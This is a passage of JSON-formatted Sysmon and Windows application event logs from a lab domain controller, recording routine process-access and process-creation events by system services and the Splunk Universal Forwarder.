C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.151","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3478,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.151\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.151","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3479,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.151\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.151","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3480,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.151\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407D-5F2D-0000-00101F340500}\r\nTargetProcessId: 3068\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.151","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407D-5F2D-0000-00101F340500}","TargetProcessId":"3068","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3481,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.230\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-405D-5F2D-0000-00109FB10400}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\system32\\sppsvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.230","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-405D-5F2D-0000-00109FB10400}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\system32\\sppsvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3482,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.230\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-405D-5F2D-0000-00109FB10400}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\system32\\sppsvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25dfa|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.230","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-405D-5F2D-0000-00109FB10400}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\system32\\sppsvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25dfa|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":36028797018963968,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":16384,"SourceName":"Microsoft-Windows-Security-SPP","ProviderGuid":"{E23B33B0-C8C9-472C-A5F9-F2BDFEA0F156}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":12114,"ProcessID":0,"ThreadID":0,"Channel":"Application","Message":"Successfully scheduled Software Protection service for re-start at 2020-08-14T11:41:29Z. Reason: RulesEngine.","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":36028797018963968,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":903,"SourceName":"Microsoft-Windows-Security-SPP","ProviderGuid":"{E23B33B0-C8C9-472C-A5F9-F2BDFEA0F156}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":12115,"ProcessID":0,"ThreadID":0,"Channel":"Application","Message":"The Software Protection service has stopped.\r\n","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3483,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.386\r\nSourceProcessGUID: {90617006-407D-5F2D-0000-00101F340500}\r\nSourceProcessId: 3068\r\nSourceThreadId: 4372\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.386","SourceProcessGUID":"{90617006-407D-5F2D-0000-00101F340500}","SourceProcessId":"3068","SourceThreadId":"4372","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3484,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.430\r\nProcessGuid: {90617006-407D-5F2D-0000-0010F2380500}\r\nProcessId: 4440\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-regex --log-warnings\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-407C-5F2D-0000-001033280500}\r\nParentProcessId: 4352\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.430","ProcessGuid":"{90617006-407D-5F2D-0000-0010F2380500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-regex --log-warnings","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-407C-5F2D-0000-001033280500}","ParentProcessId":"4352","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3485,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.417\r\nSourceProcessGUID: {90617006-407C-5F2D-0000-001033280500}\r\nSourceProcessId: 4352\r\nSourceThreadId: 2516\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-407D-5F2D-0000-0010F2380500}\r\nTargetProcessId: 4440\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+13671|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+181c6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 